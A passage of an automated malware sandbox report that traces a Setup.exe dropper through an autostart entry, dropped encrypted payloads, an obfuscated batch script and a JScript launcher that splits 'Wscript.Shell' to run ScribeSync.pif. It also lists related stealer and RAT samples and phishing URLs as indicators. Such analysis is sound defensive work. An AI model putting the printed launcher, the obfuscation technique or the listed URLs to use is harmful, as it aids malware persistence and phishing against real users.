17:03:04	API Interceptor	1x Sleep call for process: Setup.exe modified
17:03:43	API Interceptor	3616x Sleep call for process: Linux.pif modified
17:03:56	API Interceptor	2803x Sleep call for process: ScribeSync.pif modified
22:03:08	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ScribeSync.url

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
microsoft-10.ovslegodl.sched.ovscdns.com	http://hcmexelatech.com	Get hash	malicious	Unknown	Browse	101.33.11.246
	Mary Fleming-bonus benefit and retirement plans.pdf	Get hash	malicious	HTMLPhisher	Browse	101.33.11.246
	https://pub-9c4ec7f3f95c448b85e464d2b533aac1.r2.dev/22kjhsfdh67	Get hash	malicious	Unknown	Browse	43.152.28.43
	https://service.clearservice.com/constructionns/track/link.jsp?id1=7962783&id2=1118626513&link=https://watercolorjourney.net/afew/ribs.html	Get hash	malicious	Unknown	Browse	43.175.151.231
	https://iidms-app.click/icloud2022-esp.php/isignesp.php	Get hash	malicious	Unknown	Browse	43.152.29.78
	https://meta.submitdisablecase.eu/community-standard/903637413086223	Get hash	malicious	Unknown	Browse	43.175.152.68
	https://tracking-ch-parcel.com/app/index.php?userid=0953967afec32372fdac7854d0101e74&ue=a1e6644bac37d8cf3d520fae27d91077	Get hash	malicious	Unknown	Browse	101.33.11.246
	3TDGE1FVVn.exe	Get hash	malicious	AsyncRAT	Browse	101.33.11.219
	https://fwwzp.indylatinawrds.com:8443/impact?impact=c..@t....**.com/	Get hash	malicious	HTMLPhisher	Browse	43.175.151.230
	https://gamma.app/docs/access-e8vjky3je6dx04n	Get hash	malicious	Unknown	Browse	43.152.28.43

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif	CeJDn4j0Ci.exe	Get hash	malicious	Stealc, Vidar	Browse
	34GRtebP3g.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	34GRtebP3g.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	PQ2AUndsdb.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse
	SetupChrome.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	SetupChrome.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	KB46569499.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	KB46569499.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	FortiClientOnlineInstaller.exe	Get hash	malicious	Vidar	Browse
	dUw7GZw0N7.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\412421\Linux.pif	CeJDn4j0Ci.exe	Get hash	malicious	Stealc, Vidar	Browse
	34GRtebP3g.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	34GRtebP3g.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	PQ2AUndsdb.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, PureLog Stealer, RedLine, SmokeLoader, Stealc	Browse
	SetupChrome.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	SetupChrome.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	KB46569499.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	KB46569499.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	FortiClientOnlineInstaller.exe	Get hash	malicious	Vidar	Browse
	dUw7GZw0N7.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\412421\Linux.pif
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.668003351930133
Encrypted:	false
SSDEEP:	3:RiMIpGXJO9obdPHo55wWAX+Ro6p4EkD52GcgXUe552us685uWAX+Ro6p4EkD52G5:RiJuOybJHonwWDKaJkDbXt552t68wWD2
MD5:	C26383D41D11D743504C90E651232053
SHA1:	011E1A04EC70B1E9E0FCD2D2CD3C2BD2D170A066
SHA-256:	0EE18FF937F10CA1F8E621644E1263DB34AC02DD009E4D32F5737B78D345F78B
SHA-512:	FBDE893F68D8122DF184743F71DE43C6DC49CCE6A6BE9107A9CC95A6D9DDE265DB73B6FD5261A6401397EDF212BFE583A6D2791FCA8D1E14C877C688F2F921D9
Malicious:	true
Preview:	new ActiveXObject("Wscript.Sh" + "ell").Exec("\"C:\\Users\\user\\AppData\\Local\\ScribeSoft Systems\\ScribeSync.pif\" \"C:\\Users\\user\\AppData\\Local\\ScribeSoft Systems\\w\"")

C:\Users\user\AppData\Local\ScribeSoft Systems\ScribeSync.pif

Download File

Process:	C:\Users\user\AppData\Local\Temp\412421\Linux.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: CeJDn4j0Ci.exe, Detection: malicious, Browse Filename: 34GRtebP3g.exe, Detection: malicious, Browse Filename: 34GRtebP3g.exe, Detection: malicious, Browse Filename: PQ2AUndsdb.exe, Detection: malicious, Browse Filename: SetupChrome.exe, Detection: malicious, Browse Filename: SetupChrome.exe, Detection: malicious, Browse Filename: KB46569499.exe, Detection: malicious, Browse Filename: KB46569499.exe, Detection: malicious, Browse Filename: FortiClientOnlineInstaller.exe, Detection: malicious, Browse Filename: dUw7GZw0N7.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\ScribeSoft Systems\w

Download File

Process:	C:\Users\user\AppData\Local\Temp\412421\Linux.pif
File Type:	data
Category:	dropped
Size (bytes):	486658
Entropy (8bit):	7.999607879266361
Encrypted:	true
SSDEEP:	12288:6UlEWrOhZzXL+gOCbf1Snf1fo5xOf0xxMGX2UvMm1jd:6zT7L+6b0NfsIc5H/d
MD5:	E9CE947BAB374C37991DF0B3BA159EC9
SHA1:	085AB42C87D75BC8FBC9057D48F7462E9364ABB7
SHA-256:	05D9A6B5CA04A3FB6392E36C27915575740E711991F2300CF31E82FA7B8CD5D0
SHA-512:	4CF65409400D213B3FFE7DD5236958770931341E4BCEF2508667607BD105F652766E4974FB236D027213B7201F735423DE168430A97F1EF81BA81597A25F4260
Malicious:	false
Preview:	^.+.......f..S../.a.B.E........7.........,..[.?.~...EA#...,..X...U\.").i\...R`...N...........s.89t!y.X...>L0.w:G.I..nW.~]..I..^....`...(...^..dm...k..b...Q.?...l.......;`...e..4.XN......u..~'.....o.+..6...(E!...J......S....Z....."..e.. LJ....&-.b..N.. .....'8.x^(....... ...`.-S..Kg.(..."~"....YWL....GX.....l...-."..../..\#...:.7.f....3)...N.3.6.F8~p...G..1...)..u!;..#..SL......o.L`.=.\|W...K.'......L..c.....#.V.yv~.`(s......8...v..FK.A...s......nB.._..v.....V..'u82+.S.X.....%..L...P..G....+i...{BW.&..(..3.6...c....bk.Z.[.%.....tB..2(..X.>........>.e..n:.b....!..}.T.z.4..$.h.<..5.[X......r0.....Q ...0..Jxn..}T_.......l....$...k..q...oZ~EP.....B"e.CsX.n..%^..:....e...%=&.,:6..S......G...I..s....s.7P..61.Am..\..4.'..]...M)...X8[.v..~l..c{.g.. u......3i@6...>.5A...a.@....-....w<.B]D.wC3tHw:h$.z&....a..+...K..k'Bz....V....C......d(bl=..[<....&..).{G.U..ykEj......:.....F0@6.^,..Y.;.A..a....@..WP....E,...%.........y....7C;..kR.NR......d

C:\Users\user\AppData\Local\Temp\412421\Linux.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: CeJDn4j0Ci.exe, Detection: malicious, Browse Filename: 34GRtebP3g.exe, Detection: malicious, Browse Filename: 34GRtebP3g.exe, Detection: malicious, Browse Filename: PQ2AUndsdb.exe, Detection: malicious, Browse Filename: SetupChrome.exe, Detection: malicious, Browse Filename: SetupChrome.exe, Detection: malicious, Browse Filename: KB46569499.exe, Detection: malicious, Browse Filename: KB46569499.exe, Detection: malicious, Browse Filename: FortiClientOnlineInstaller.exe, Detection: malicious, Browse Filename: dUw7GZw0N7.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\412421\M

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	486658
Entropy (8bit):	7.999607879266361
Encrypted:	true
SSDEEP:	12288:6UlEWrOhZzXL+gOCbf1Snf1fo5xOf0xxMGX2UvMm1jd:6zT7L+6b0NfsIc5H/d
MD5:	E9CE947BAB374C37991DF0B3BA159EC9
SHA1:	085AB42C87D75BC8FBC9057D48F7462E9364ABB7
SHA-256:	05D9A6B5CA04A3FB6392E36C27915575740E711991F2300CF31E82FA7B8CD5D0
SHA-512:	4CF65409400D213B3FFE7DD5236958770931341E4BCEF2508667607BD105F652766E4974FB236D027213B7201F735423DE168430A97F1EF81BA81597A25F4260
Malicious:	false
Preview:	^.+.......f..S../.a.B.E........7.........,..[.?.~...EA#...,..X...U\.").i\...R`...N...........s.89t!y.X...>L0.w:G.I..nW.~]..I..^....`...(...^..dm...k..b...Q.?...l.......;`...e..4.XN......u..~'.....o.+..6...(E!...J......S....Z....."..e.. LJ....&-.b..N.. .....'8.x^(....... ...`.-S..Kg.(..."~"....YWL....GX.....l...-."..../..\#...:.7.f....3)...N.3.6.F8~p...G..1...)..u!;..#..SL......o.L`.=.\|W...K.'......L..c.....#.V.yv~.`(s......8...v..FK.A...s......nB.._..v.....V..'u82+.S.X.....%..L...P..G....+i...{BW.&..(..3.6...c....bk.Z.[.%.....tB..2(..X.>........>.e..n:.b....!..}.T.z.4..$.h.<..5.[X......r0.....Q ...0..Jxn..}T_.......l....$...k..q...oZ~EP.....B"e.CsX.n..%^..:....e...%=&.,:6..S......G...I..s....s.7P..61.Am..\..4.'..]...M)...X8[.v..~l..c{.g.. u......3i@6...>.5A...a.@....-....w<.B]D.wC3tHw:h$.z&....a..+...K..k'Bz....V....C......d(bl=..[<....&..).{G.U..ykEj......:.....F0@6.^,..Y.;.A..a....@..WP....E,...%.........y....7C;..kR.NR......d

C:\Users\user\AppData\Local\Temp\Biography

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	ASCII text, with very long lines (945), with CRLF line terminators
Category:	dropped
Size (bytes):	19723
Entropy (8bit):	5.0381761564004055
Encrypted:	false
SSDEEP:	384:AbIEDXSkaHN4pbjXwu+OpOY9P1DHHx5apZQd8ydPDmATd6GWS8HJbb1:ALXmNMMu+mO01DHKpZQdTDmATdv8pF
MD5:	FA8657228E2C4FB5D2A2DA2AC696B6BE
SHA1:	49C5C9956839AC3DD95D6C8A7177E3587D0C19D3
SHA-256:	090D4F13845EC915683A6B2BEDCD01E5BA369CF377ADD707BCED2B7781E2AC4B
SHA-512:	EB4A3EFE776556AD538DDDD79BB528171EF7B44E0A4746596D114A4E06D0E6CB98B0D31779B1DE459CBEACD28DAAC4EC283213F8E3CF86A88E09EAFAABB03FF6
Malicious:	false
Preview:	Set Wicked=8..PGwQuoted Cartridges Yorkshire Photographs Maximize Favorites ..WdKansas Higher Newark Sunset Mongolia Stand Become Blank Style ..LHBarrier ..WaRbGlen ..bYAlgorithm Brakes Careful Ups ..oFyAdjustments Funds Chuck ..Set Productivity=R..AKNTray Bangbus Ata Translate Surfaces Oecd Wrapped Divx Ist ..BdOrganisms Israel Math Reduced Vegetarian Chrome Lo Tracking Bruce ..SrcPavilion Hospital Arbitration Models Poster Hans Leaf ..dYDistributors Expedia ..UuTPromised Heather Lucky Daddy Strategies Pointed Memorabilia ..jePCostume Straight Indian Src Fiber ..cIRVMonths Chat Mp Manhattan Pottery ..Set Specializing=Z..ZIFourth Acoustic ..cDAdvances Cartoon Churches Intro ..ONSir Joined Accepting Argentina ..lSPYBailey Dollars Captain Sweden Pts Auto Affiliates Silver Theories ..mvTrees Divided Apply Pd Proud Replacing ..szRlFlying Cold Water Dreams Increase Elections Minor Applicants ..Set Edges=X..jiBeside Incident Hugh Synthesis ..SzTtPhysician Mercy Characterized Appointments Wel

C:\Users\user\AppData\Local\Temp\Biography.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (945), with CRLF line terminators
Category:	dropped
Size (bytes):	19723
Entropy (8bit):	5.0381761564004055
Encrypted:	false
SSDEEP:	384:AbIEDXSkaHN4pbjXwu+OpOY9P1DHHx5apZQd8ydPDmATd6GWS8HJbb1:ALXmNMMu+mO01DHKpZQdTDmATdv8pF
MD5:	FA8657228E2C4FB5D2A2DA2AC696B6BE
SHA1:	49C5C9956839AC3DD95D6C8A7177E3587D0C19D3
SHA-256:	090D4F13845EC915683A6B2BEDCD01E5BA369CF377ADD707BCED2B7781E2AC4B
SHA-512:	EB4A3EFE776556AD538DDDD79BB528171EF7B44E0A4746596D114A4E06D0E6CB98B0D31779B1DE459CBEACD28DAAC4EC283213F8E3CF86A88E09EAFAABB03FF6
Malicious:	false
Preview:	Set Wicked=8..PGwQuoted Cartridges Yorkshire Photographs Maximize Favorites ..WdKansas Higher Newark Sunset Mongolia Stand Become Blank Style ..LHBarrier ..WaRbGlen ..bYAlgorithm Brakes Careful Ups ..oFyAdjustments Funds Chuck ..Set Productivity=R..AKNTray Bangbus Ata Translate Surfaces Oecd Wrapped Divx Ist ..BdOrganisms Israel Math Reduced Vegetarian Chrome Lo Tracking Bruce ..SrcPavilion Hospital Arbitration Models Poster Hans Leaf ..dYDistributors Expedia ..UuTPromised Heather Lucky Daddy Strategies Pointed Memorabilia ..jePCostume Straight Indian Src Fiber ..cIRVMonths Chat Mp Manhattan Pottery ..Set Specializing=Z..ZIFourth Acoustic ..cDAdvances Cartoon Churches Intro ..ONSir Joined Accepting Argentina ..lSPYBailey Dollars Captain Sweden Pts Auto Affiliates Silver Theories ..mvTrees Divided Apply Pd Proud Replacing ..szRlFlying Cold Water Dreams Increase Elections Minor Applicants ..Set Edges=X..jiBeside Incident Hugh Synthesis ..SzTtPhysician Mercy Characterized Appointments Wel

C:\Users\user\AppData\Local\Temp\Corner

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	75776
Entropy (8bit):	7.997708543932238
Encrypted:	true
SSDEEP:	1536:PUHWBETXTIF1kMcjSkE8JkhMeKWzPsJNSqG0zCxx3t8orQwJ:PZynIIMcj3r+hZzUJohw4u7Q
MD5:	21419613550296E96CE5ED6091F372C7
SHA1:	D30C21E33CEF2E1B45B7E2BDD9AEF1B21C6B90EA
SHA-256:	BEC27C3F5F01CC9E5C82C756D1E6EB119468F26AD27D050CE2D05290D8796668
SHA-512:	CE7BF77B53AAEF00FD223E1D12862ECCF26A2014821C8793A81D30AA3CFCDF8394C5BF7B6F5D1A5372C78FCF42EEA20C7019342273763CAAC20735A02B9DF94A
Malicious:	false
Preview:	y..35.X.O..8..[^a..).Z..,K..Efc.H..mi..d./.Ksi.V.KU..Q.../...;.y..r.C.o..d.:._.h=iD......F..2..J>.l...v...V.W...>\."...l....#s.........h.;B^..G..!./.....q.6u.3...m..!oe?.z..[....4..$........{-H......7..q .......... .n.r.'-...)\...o...v.J..z.,...q\......r.~.(i/.k.,....s..1E...5.N.....z..k.._)....uTEl9../.....92..3.rwt..pc..9..(.:.....D...Jy.&H.9..../=....X;...].n......3.}g...%...\|..XK.k.j.......><..F.V...HB/-..#F./R.....}Nr.f..[K. .x..@e....\|k.3.h!....1...........Q`.&P.t....:LG0..J..dR...V./IH.........r...y....t~.`....f\.A8.....o......H.D..]7...@?r..l$[.O:.,...D\|......H.3.......>2..N....'.-.T...lv..v..j...C...."ol.....y.....H.....D.!...s..=Te....Jo....Il....^Z....[1.Q..3..![.\.....o.'./Y1..Z...s...Fsf.bb.y....I.r.=Y$.._.6....Fw..q..~.[..=o.....s.=,s..l..{."..S.~.6t...%.7...s`..&.[.!.I.h/.o.D.w.%#...Uq7m\.lws....;.?...2g.D..B..n..N.#(...:8.e....a5......%..P...-~.>H6.R.(.Z..5.[pz.1.}...k9o6^..U.t...O...:.l./e.....Z`.n....4....c......E.gs..

C:\Users\user\AppData\Local\Temp\Diagnostic

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	7.997023293939351
Encrypted:	true
SSDEEP:	1536:cwpVpPWfyxOik9Ag6YPwdH+gC7WQLcIGjHiMECb+R:3prWcOf2H+gC7WQLctjCWm
MD5:	D9B970695EC2F6788E553BEB95D147F0
SHA1:	F0695B362B9300BCEEB4833BEABCDD7A3E0F2364
SHA-256:	B2497B1DAA6D16012C3E94D6C72E7280EF1982D72E520926F8C73DB0C4110BAC
SHA-512:	807E607228179A98BF93E42F9E992805D59BC40B4E9FDE8A0CF928D2F547CFA7F8D73E6C7486F7836FE05DE1BD85373CDEC6A1FCC16294DC76F2A55830ABBA04
Malicious:	false
Preview:	>.$....."....+wG.,.I....nm...(R..D.=.p2(..3U.>6u..h..l.....y.VF!..D.'...p!Z...M'[5g...$k.D....;...\N....A..[L#p..A.......m.>..Y=Sz....B.=.o...4).v.L.}.d.&..u..RP.......G_.F.6........5...A.d.q.@mc...&.y......x@Z.......`...6..{..}.myw......M.1B..'.I...}].n.:..M..E.....{..Y.i9..+.T.W-.(.c8..I8.......@E6...h.c...r.....e..y.E..O...2.z./{~.-.,Tb.L.e.....j.$..:.{.E7o#HP..,......L.g...g\|.L.).&...(".vR.Z....0.....D.i..Q...(..1.T$.<.)..,.....hx<.h......t,..H.1.....A.x......=....y!.{.?P...X.I`..:.'.....gk..AS9.......i8.j......K(.T......r.9.f..~Z...].+.]......k^s.N...\|.....5.CS!....3.u..4A.I.y....z>.....A...,f.J..ayGSxN....p..wj...S.....EK.8.E.R9.z\|...l.w.}A........G..~..U.U.#....Qu+7uL.\|g:.RK.f..4...yA.L....t...8..M\.b[.l.:..N>...4.....;=...E=.....Jj......m......O.....J?.@.sQ.h..d.~..X[J..x.~.n...zyx..+......}M)gtd..X,.......r. ....r...[[0Sa..c.}.5..;.C..2e.~....Z.<..%.Z.....y....v?A.'.O...xy..)A..Q.......h6.I..G.....l...b...8

C:\Users\user\AppData\Local\Temp\Disposition

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	101376
Entropy (8bit):	7.99773840300285
Encrypted:	true
SSDEEP:	3072:uzn7wme2fZdL3c6SwtPEyPOPUGdcAoFLojfL0e0sE:uznQ2fZp1SLbUG1foe0z
MD5:	DAA3C94C0181997B74F3B9F6F1E54B26
SHA1:	DB32D2525A15993C22B6E42A23DBFF7972B5870F
SHA-256:	C227939B90CEA7E7EDBCD9628D014E8EDB3A825BBD1BF97B6A121B5BF17B2688
SHA-512:	BABA0C0CB56FFF442BAE14362749C4047B687AAA8374DE37488D96897C7391681767C0F7712ECC7C36C5DE68D73D39E000EA54AF7E6828642F5BFAEA3F978F69
Malicious:	false
Preview:	..C...>}....G....3#..t..wYq.i........z<.k.......O.x...i.F........O.z...w.iU......r......I..<b.g>V..Pi7g^.K+M...4x.+...&p..N..{W.........M..o.... ./...I.C...B..".:...@....2........$.....3X,.W.H6..W......<s."...M.T..O..vK'....Pp...../...&(.....l.~.Q.....h0..^a.]...#k2.s...N..E..Cjc.......2....d.O...6y...m[.Y.dDt...Hh..G..].....x...r..%6.....c...2.....Jg=...8..d...8....3.xLe......r.....s.o..i..v\I..3......e?..@\.~uey-mk1...H...Tx...@...]..^#..B.{...i....I.....`.\...#........f.?4...z.%I&f.W..'.\.4....\|<..%tzW..4d.3~.AzF...R..Pz..#....f.@..+.....f..PZ-.2.O..Iyl....uB..].q...)...R.:..:4:...$C....!.g..H.......4sF..,.K. .s/.J....K}............TC..a.... ..3_.tQ@.\|..M....E.S.......qm.......dW..\L..._.!..4.. ....y.Z.x.u.w..Y....n..2.5..a\|u...n+L#W)v......]r..A\M..E]a..4..^[.{..c./T.n. \.s]m.7 ..=.zH...:...@...`7.F..`A..T..`7.@.........?.2...A.?k..9~../.0i.......Iv...H..r..6/^.......P...."J.......;L..z\.t...r.....+.{. a.m.c...-......[:.z%.=.

C:\Users\user\AppData\Local\Temp\Domestic

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	7.996483797958098
Encrypted:	true
SSDEEP:	1536:xCbBDD6r7i8LfqZUmm3pDCqIMq/2H+EpH7fqA8:+DD668WSmm3HNeMqA8
MD5:	FDF0B608257F07CE2AF84E76A4969EEC
SHA1:	DD01A99C3B4042AA96A1EF59F58C96514CE44166
SHA-256:	681A85936D92EF30DCFF0BDA33915DC92E9946966608A651A533B9869F1041D7
SHA-512:	843B31656A03E483EA154BDC55D13C18A9FF158B7A9AE979E39539F19D590E20482A1FF7F7DBEF7DFCDBC15ED90DE710346300CB9BE802ED3162566E273EB121
Malicious:	false
Preview:	.@...X.EENW..N7....G.L.......PB.Ov@hu..n......"..o.XA/.........#.../"..\......{..D...J........g{7k...4..<...=t....^.K\W..T.>.sR.+...nq...K_W.Z ..}zPtU.P8.48B..4U.~m.v)!{..Y........tg.7..R..8q..b..t..9.g...7..Op..w......g..asl....',....T..G....Bi.d.+D,...D.....:./V..i5....8.!$.}.;wr.\|.Vh.....,d\. .-..._].vzh5.$.....X.+.(..<V.i..)Wx~!..!.L..z.c..D.St``.+...d=e.o..Yv,..]...'.7..H.~....8.B...j....SL..f....E.....t...@.U......./..?.R...9.c....p.t.M.t$...r...0.0..A^..Z..N-.q+D....4B...:.U..P3.~..I.A_...[...V..y.h.R..Df..7$...'......X.Xo.w.R.Gn...jad...PVEt.%-..yyx....Q....._...;.H.A.......[7lT.,7.L7.+..!C.1...}....w.....Md.}.7...d..[.....?..:...%w..z.[..?G..!.....7.7..`u.{X`;P.`.....k..S.....z.:.X.p.F......\.o.j.8..}.."].%e...X#Zx.r?....PN.F..]B..32.$.Z+......+D ...U1}1.=nX.~.m8..x.W.o..v,.H........1{....}f.VIX.5....+.=.G.B...5.}.&l..0vB*uM.p}.9...\?p..5..0...U...=G..."[Y]K\K.x.S.U:.U..-....g..}......6%...A6f.N{..[0._....Vj.bj..~J.....1.&.%..,..H

C:\Users\user\AppData\Local\Temp\Hollow

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	892794
Entropy (8bit):	6.621630233212611
Encrypted:	false
SSDEEP:	12288:xpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:xT3E53Myyzl0hMf1tr7Caw8M01
MD5:	8A0B69432659E8179C0E06A626DA6565
SHA1:	8720D3B36491B7BC0B74D4F4D79889953CE6B1E0
SHA-256:	3A7BF585CD66F67F6F20DD455A905B56F5869675FAFAF84D3A2BA44AF28B942D
SHA-512:	D657C9F4A121D4A4CD827801E1787C1B7DCECE8620DAEE1989E18C43D1C196C74C5D7FEDAD686ABB7B25582F66C9BB9C9D3AAC3EAD0264EC609C58D985623B37
Malicious:	false
Preview:	...................................................................................................................................................................................................................DaL.....h..C..\...Y...L..h..C..K...Y..N..h..C..:...Y.h..C......Y..<C..h..C......Y.....h..C......Y.Q.>...h..C......Y..sL.Q.@...sL.P.9...h.C......Y..G..h.C......Y...(..h.C.....Y..4..h.C.....Y...L..2...h.C.....Y................SVW..j.[..l............Ky.Nl.....N(....V.;...Y_..^[...SV..3.Wj._.N...N(...^..^..~..^..^..^ .^$.......f.^8.Nl.F:..^<.^@.FL.FP.FT.FX.F\.F`.Fd....j....................F\|U............[...U......Ky......3........................l.....p.....t.....x.....\|...........................f.............................................................._......^[.U..QQ.E....I.Pj.hD.I..............f.}.1.....].U..QQ.}..SVtr.u...tk3.3.f...E.Pj.SRQ....I...uQ.E.W.<..E..}.PVSS.u..u... .I...u..E...E.;E.s.3.f..F...u.....I..._^[..].3.f.D7...2...U..SV..j.[.F.9F

C:\Users\user\AppData\Local\Temp\Marie

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	862
Entropy (8bit):	3.7306206632249608
Encrypted:	false
SSDEEP:	12:ZIDgcWN5yGSGCbTQxbs/0pQHPZdZELq6h1p5zGbWCBl9dte4:Kg93yGSnPQxqtP5ELqCB8WCBl9dte4
MD5:	AA01DE6FEDCEDF0D5B203B2FE42412FC
SHA1:	E9AEE538CCD6611167D398AE02BD6843E9D83FFD
SHA-256:	5126962258ECC719553C431BAB86F4F1932A92C3078D5111C88A29A3BC1597B4
SHA-512:	F7628B625066896B0449A7770EC55678DCA595A52B619CA43E62E64E17F0A670152692EE3F311F1680045BBE98C3DA8A4C1DB9C832691FFB07F8F5AA1000F7AD
Malicious:	false
Preview:	uncertaintycompetitionsadvertisingorganisation..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B......................................................................................

C:\Users\user\AppData\Local\Temp\Mrs

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	38146
Entropy (8bit):	7.995138076776283
Encrypted:	true
SSDEEP:	768:AckE46+k2dt/Xk9WIsF24ZR7cAYu2wSBXZZ6U42NSgu68TeLqlT:AcJ46sd9UsF24cnXZ4vsBu68Teud
MD5:	F94567D7495BDB10FAAE2739F24D580D
SHA1:	2083F73D9C40733F4DE981DC80C0063B9017130A
SHA-256:	CC3EC0B0604DB00659BB24900E5BAB37F78BA88CBBF67C8E9058FC964293B965
SHA-512:	ADB22EC8728689D21E6FC1D88ECB37A44BE6CE1D519208CE06D81850710AEB5E84EF0A3B89C0DDC1BF31D68F082E7DEBD70F010D0EA5528EFFD2AF2D5F65EF92
Malicious:	false
Preview:	....a8#...i...=..u......@.+......u.v..T..1Zc.s#L...:8..TQ.k........~......\....x.h.. U....,..-=Km..g)]{L........pr.{`.U.......("...L->xd5_+K....D..9c....x..`....f.ye4.....t._.l....1^?.<.....Z].#..4.&.u5..^.4.zCb...iWN.U..Gc8... ..$.Z..5,x....V..B.#.u.Ib~.@=.j.......9.vK.......aG.:KS'0.yG...9..Oj8..y..O}..o.KHn^7.4g.7I. ..p/..2....Jp...#.R..n.%cm.\*wXZ)......C.^.....!V.Q.%._..MtC..,..h..=.....g....zQ%: xD..fO......g...i..Lg..xT1".E....Y.(6......P.~...'...T.K/.~.....#.dx.L.,#.O....~>./.L.......t..1.....b.). ..Jo.'`4x........P2.q[=.F....H,..m]}qA.2+o.f^...#...E...Tv..L.b...ER......#..Fa....B.%.....MY....I..\.d........_......ONAo..0...........D..M...Ob....:.xZ^b.m........RG.,Y.m...@.....>..Usk....'..[..z..^.......-..k...B....pH...<.6[+...N....Y.f.&..r..n........s..S2...;..8........i....2.6+H.I...t...q]...s....."]E.T.\c.....HJ..b.n..gie$K<`...9....j..9....:&7.]W..w.w.......7..P.g?g.9Ji.<..#J...SQ.....C\|#.6.f.8;..7.8.....a.E....6..Z.]<..'..I..D.X

C:\Users\user\AppData\Local\Temp\Options

Download File

Process:	C:\Users\user\Desktop\Setup.exe
File Type:	data
Category:	dropped
Size (bytes):	63488
